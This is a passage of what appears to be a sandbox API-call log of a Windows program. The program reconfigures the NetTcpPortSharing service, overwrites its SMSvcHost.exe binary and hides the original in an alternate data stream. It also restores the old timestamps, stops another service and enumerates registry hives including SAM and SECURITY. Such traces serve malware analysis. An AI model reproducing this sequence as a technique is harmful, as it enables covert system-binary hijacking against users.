RegEnumValueA (in: hKey=0x140, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.980] RegEnumValueA (in: hKey=0x140, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.980] RegEnumValueA (in: hKey=0x140, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.980] RegEnumValueA (in: hKey=0x140, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.980] RegEnumValueA (in: hKey=0x140, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.980] RegEnumValueA (in: hKey=0x140, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.980] RegEnumValueA (in: hKey=0x140, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.980] RegEnumValueA (in: hKey=0x140, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.981] RegEnumValueA (in: hKey=0x140, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0173.981] RegSetValueExA (in: hKey=0x9c, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0173.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0173.981] RegSetValueExA (in: hKey=0x9c, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0173.981] RegEnumValueA (in: hKey=0x140, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.981] RegEnumValueA (in: hKey=0x140, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.981] RegEnumValueA (in: hKey=0x140, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.981] RegEnumValueA (in: hKey=0x140, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.981] RegEnumValueA (in: hKey=0x140, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.981] RegEnumValueA (in: hKey=0x140, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.981] RegEnumValueA (in: hKey=0x140, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.981] RegEnumValueA (in: hKey=0x140, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.981] RegEnumValueA (in: hKey=0x140, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.981] RegEnumValueA (in: hKey=0x140, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.981] RegEnumValueA (in: hKey=0x140, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.982] RegEnumValueA (in: hKey=0x140, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0173.982] ExpandEnvironmentStringsA (in: lpSrc="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3f [0173.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0173.982] ExpandEnvironmentStringsA (in: lpSrc="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe", lpDst=0x21f1cd0, nSize=0x3f | out: lpDst="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe") returned 0x3e [0173.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0173.982] RegSetValueExA (in: hKey=0x9c, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe", cbData=0x3e | out: lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe") returned 0x0 [0173.982] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x803ea0*="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe" [0173.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0173.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0173.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.982] LocalFree (hMem=0x803ea0) returned 0x0 [0173.982] RegSetValueExA (in: hKey=0x9c, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe", cbData=0x3e | out: lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe") returned 0x0 [0173.982] OpenServiceW (hSCManager=0x803918, lpServiceName="NetTcpPortSharing", dwDesiredAccess=0x2) returned 0x803990 [0174.015] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0174.033] CloseServiceHandle (hSCObject=0x803990) returned 1 [0174.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0174.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0174.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0174.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0174.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0174.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0174.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0174.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0174.033] RegCloseKey (hKey=0x9c) returned 0x0 [0174.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0174.033] RegCloseKey (hKey=0x140) returned 0x0 [0174.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0174.033] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0174.033] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6170a7a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x212a8)) returned 1 [0174.035] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140 [0174.036] SetFileTime (hFile=0x140, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0174.036] GetFileSize (in: hFile=0x140, lpFileSizeHigh=0x36f4fc | out: lpFileSizeHigh=0x36f4fc*=0x0) returned 0x212a8 [0174.036] SetFilePointer (in: hFile=0x140, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f508*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x36f508*=0) returned 0x0 [0174.036] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x212c0) returned 0x21f4ea8 [0174.046] ReadFile (in: hFile=0x140, lpBuffer=0x21f4ea8, nNumberOfBytesToRead=0x212a8, lpNumberOfBytesRead=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x21f4ea8*, lpNumberOfBytesRead=0x36f53c*=0x212a8, lpOverlapped=0x0) returned 1 [0174.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x212c0) returned 0x2159e98 [0174.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0174.051] SetFilePointer (in: hFile=0x140, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f52c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x36f52c*=0) returned 0x0 [0174.051] WriteFile (in: hFile=0x140, lpBuffer=0x219dea0*, nNumberOfBytesToWrite=0x44000, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x219dea0*, lpNumberOfBytesWritten=0x36f53c*=0x44000, lpOverlapped=0x0) returned 1 [0174.054] SetEndOfFile (hFile=0x140) returned 1 [0174.054] GetFileTime (in: hFile=0x140, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550*(dwLowDateTime=0xef914800, dwHighDateTime=0x1d0aa91)) returned 1 [0174.054] FileTimeToSystemTime (in: lpFileTime=0x36f550, lpSystemTime=0x36f57c | out: lpSystemTime=0x36f57c) returned 1 [0174.054] SystemTimeToFileTime (in: lpSystemTime=0x36f57c, lpFileTime=0x36f550 | out: lpFileTime=0x36f550) returned 1 [0174.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0174.054] NtClose (Handle=0x140) returned 0x0 [0174.054] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe:0" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x24f53, ftCreationTime.dwHighDateTime=0x36f508, ftLastAccessTime.dwLowDateTime=0x77e50a45, ftLastAccessTime.dwHighDateTime=0x90a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x36f5a4)) returned 0 [0174.054] GetLastError () returned 0x2 [0174.054] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe:0" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140 [0174.055] SetFileTime (hFile=0x140, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0174.055] WriteFile (in: hFile=0x140, lpBuffer=0x2159e98*, nNumberOfBytesToWrite=0x212a8, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x2159e98*, lpNumberOfBytesWritten=0x36f53c*=0x212a8, lpOverlapped=0x0) returned 1 [0174.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0174.057] SetFileTime (hFile=0x140, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550) returned 1 [0174.057] NtClose (Handle=0x140) returned 0x0 [0174.057] OpenServiceW (hSCManager=0x803918, lpServiceName="NetTcpPortSharing", dwDesiredAccess=0x10) returned 0x8038a0 [0174.058] StartServiceW (hService=0x8038a0, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 0 [0175.906] GetLastError () returned 0x43b [0175.906] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0175.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159e98) returned 1 [0175.907] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x803ea0) returned 1 [0175.907] CryptGenRandom (in: hProv=0x803ea0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0175.907] CryptReleaseContext (hProv=0x803ea0, dwFlags=0x0) returned 1 [0175.907] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v2.0.50727_32", dwDesiredAccess=0x20) returned 0x803990 [0175.908] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0175.915] CloseServiceHandle (hSCObject=0x803990) returned 1 [0175.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0175.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0175.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0175.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0175.915] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0175.915] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0175.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1d18, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0175.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.915] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0175.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0175.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.916] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0175.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0175.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.916] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0175.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0175.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.916] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0175.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0175.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.916] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0175.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0175.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.917] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x9c) returned 0x0 [0175.917] RegCloseKey (hKey=0x80000002) returned 0x0 [0175.917] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0175.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0175.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.917] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0175.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", 